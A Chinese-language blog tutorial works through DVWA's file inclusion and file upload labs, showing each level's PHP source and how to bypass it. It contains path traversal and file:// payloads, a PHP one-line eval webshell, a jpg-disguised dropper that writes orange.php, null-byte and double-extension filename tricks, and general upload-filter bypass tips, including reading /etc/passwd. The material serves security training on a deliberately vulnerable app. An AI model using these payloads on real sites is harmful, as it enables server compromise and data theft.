先选择low级别,先进行黑盒测试一下,进行包含,看到file1,file2,file3,试下file4,由于file.php存在,结果包含到了,而且提示you  are  rigjt。

这个时候能够进一步操做,可使用../让目录回到上级目录,以此来进行目标目录(经过多个../可让目录回到根目录中而后再进入目标目录),

试一下吧,?page=../../php.ini   ,除了这么多还有其余的操做等待你去挖掘。

如今分析一下代码<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

能够看到直接接收page参数,没有进行任何过滤操做,因此形成文件包含漏洞。

 

下面选择medium,先看下代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

增长了str_replace()函数,把传入的url里面的http,https,../,..\  替换成空格,可是使用str_replace函数是不安全的,由于可使用双写绕过替换规则

好比:http和https能够用hthttp://tp:给绕过,由于只是过滤了../和..\,因此能够用绝对路径进行绕过:?page=./..././..././../php.ini

 

 

 

选择high级别,看下代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

使用了fnmatch函数:fnmatch() 函数根据指定的模式来匹配文件名或字符串。

检查page参数,要求page参数的开头必须是file开头,服务器才回去包含,可是咱们能够利用file协议绕过防御策略,而后再进行包含

payload:?page=file://D:/wamp/www/DVWA-1.9/php.ini

 

 

 

 最后看一下impossiable级别的代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

能够看到代码很简洁,page参数只能是"include.php","file1.php","file2.php","file3.php"

 不然直接exit。完全不能文件包含了。

 

 

 

最后的最后再分享个文件包含的渗透小技巧

***读取敏感文件是文件包含漏洞的主要利用方式之一,好比服务器采用Linux系统,而用户又具备相应的权限,那么就能够利用文件包含漏洞去读取/etc/passwd文件的内容。

系统中常见的敏感信息路径以下:windows系统

linux系统

 

 

***文件包含漏洞的主要利用方式是配合文件上传。好比大多数网站都会提供文件上传功能,但通常只容许上传jpg或gif等图片文件,经过配合文件包含漏洞就能够在网站中生成一句话木马网页文件。
好比,在记事本中写入下面这段代码,并将之保存成jpg文件。

<?php
fwrite(fopen("orange.php","w"),'<?php @eval($_POST[orange]);?>');
?>

能够成功进行包含,而且获得了一个orange.php一句话木马文件,密码是orange。进而进行下一步攻击。

 

 

 

 

 

 

文件上传审计

其实我的认为文件上传黑盒测试的时候姿式特别多,白盒测试的时候除了明显的限制上传文件的类型外,白盒审计不如黑盒测试来的"刺激"。

文件上传应该是最经常使用的漏洞了,上传函数就那一个 move_uploaded_file();通常来讲找这个漏洞就是直接ctrl+f 直接开搜。遇到没有过滤的直接传个一句话的webshell上去。

上传的漏洞比较多,Apache配置,iis解析漏洞等等。在php中通常都是黑白名单过滤,或者是文件头,content-type等等。通常来找上传的过滤函数进行分析就行。

(1) 未过滤或本地过滤:服务器端未过滤,直接上传PHP格式的文件便可利用。

(2) 黑名单扩展名过滤:限制不够全面:IIS默认支持解析.asp,.cdx, .asa,.cer等。不被容许的文件格式.php,可是咱们能够上传文件名为1.php (注意后面有一个空格)

(3) 文件头 content-type验证绕过:getimagesize()函数:验证文件头只要为GIF89a,就会返回真。限制$_FILES["file"]["type"]的值 就是人为限制content-type为可控变量。

(4)过滤不严或被绕过:好比大小写问题,网站只验证是不是小写,咱们就能够把后缀名改为大写。

(5)文件解析漏洞:好比 Windows 系统会涉及到这种状况:文件名为1.php;.jpg,IIS 6.0 可能会认为它是jpg文件,可是执行的时候会以php文件来执行。咱们就能够利用这个解析漏洞来上传。再好比 Linux 中有一些未知的后缀,好比a.php.xxx。因为 Linux 不认识这个后缀名,它就可能放行了,攻击者再执行这个文件,网站就有可能被控制。

(6)路径截断:就是在上传的文件中使用一些特殊的符号,使文件在上传时被截断。好比a.php%00.jpg,这样在网站中验证的时候,会认为后缀是jpg,可是保存到硬盘的时候会被截断为a.php,这样就是直接的php文件了。经常使用来截断路径的字符是:\0  , ?  ,  %00  ,   也能够超长的文件路径形成截断。

(4)等等等等,之后慢慢补充

 

忘了编译器了,编辑器漏洞和文件上传漏洞原理同样,只不过多了一个编辑器。上传的时候仍是会把咱们的脚本上传上去。很多编译器自己就存在文件上传漏洞,举个栗子:进入网站后台后若是找不到上传的地方或者其余姿式很差使的时候,就能够从编译器下手进行上传,从而GETSHELL。常见的编译器有:Ewebeditor,fckeditor,ckeditor,kindeditor等等。百度搜索各类编译器利用的相关姿式。网上不少这里就不写了。

 

先了解一下PHP经过$_FILES对象来读取文件,以便于下面的理解

PHP中经过$_FILES对象来读取文件,经过下列几个属性:

  • $_FILES[file]['name'] - 被上传文件的名称。

  • $_FILES[file]['type'] - 被上传文件的类型。

  • $_FILES[file]['size'] - 被上传文件的大小(字节)。

  • $_FILES[file]['tmp_name'] - 被上传文件在服务器保存的路径,一般位于临时目录中。

  • $_FILES[file]['error'] - 错误代码,0为无错误,其它都是有错误。

 

DVWA分析

选择low级别,先进行黑盒测试一下,直接上传个php一句话:<?php @eval($_POST["orange"]); ?>

看到上传成功,路径(http://127.0.0.1/DVWA-1.9/hackable/uploads/upload.php),

 

 看一下代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

 不懂上面的函数什么意思能够百度一下,

basename()函数:basename(path,suffix)   ,    basename() 函数返回路径中的文件名部分。若是可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。move_uploaded_file()函数:move_uploaded_file(file,newloc)    ,   move_uploaded_file() 函数将上传的文件移动到新位置。若成功,则返回 true,不然返回 false。本函数检查并确保由 file 指定的文件是合法的上传文件(即经过 PHP 的 HTTP POST 上传机制所上传的)。若是文件合法,则将其移动为由 newloc 指定的文件。

分析:DVWA_WEB_PAGE_TO_ROOT为网页的根目录,target_path变量为上传文件的绝对路径,basename( $_FILES['uploaded']['name'])将文件中已经“uploaded”的文件的名字取出并加入到target_path变量中。if语句判断文件是否上传到指定的路径中,若没有则显示没有上传。

能够看到,服务器对上传文件的类型、内容没有作任何的检查、过滤,存在明显的文件上传漏洞,因此能够上传任意文件,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

 

 

选择mediem级别,看下代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

能够看到对上传的类型和大小加以限制,限制文件类型必须是image/jpeg和image.png,而且上传文件的大小小于100000(97.6KB)

可是简单地设置检测文件的类型,所以能够经过burpsuite来修改文件的类型进行过滤便可

咱们能够经过burpsuite抓包修改文件类型,具体以下图所示,经过抓包上传upload.php,把.php文件成功上传(上传的png文件是小于97.6KB的)

注:这里也是能够利用%00截断上传,讲下图中的upload.png改为upload.php%00.png就能够突破限制,成功上传。

 

 

选择high级别,看下代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

分析:strrpos(string,find,start)

函数返回字符串find在另外一字符串string中最后一次出现的位置,若是没有找到字符串则返回false,可选参数start规定在何处开始搜索。

getimagesize(string filename)

函数会经过读取文件头,返回图片的长、宽等信息,若是没有相关的图片文件头,函数会报错。

能够看到,High级别的代码读取文件名中最后一个”.”后的字符串,指望经过文件名来限制文件类型,所以要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

用图片马进行绕过,抓包修改,把"phptupianma.png"改成"phptupianma.php.png"

在原本的文件名的文件名称和后缀名之间加上php的后缀形式,使其位于中间位置,以便于使其在服务器端看成php文件来执行,这样就能够成功上传。

 

 

 

 

 

 

 

 

还有其余漏洞类型的审计,之后会慢慢补充......

 

 

 

 

 

上面所写到的工具和环境都分享在云盘里面(连接: https://pan.baidu.com/s/1pLr7w6Z 密码: r326)

本文连接(http://www.cnblogs.com/Oran9e/p/7763751.html),转载请注明。

相关文章
相关标签/搜索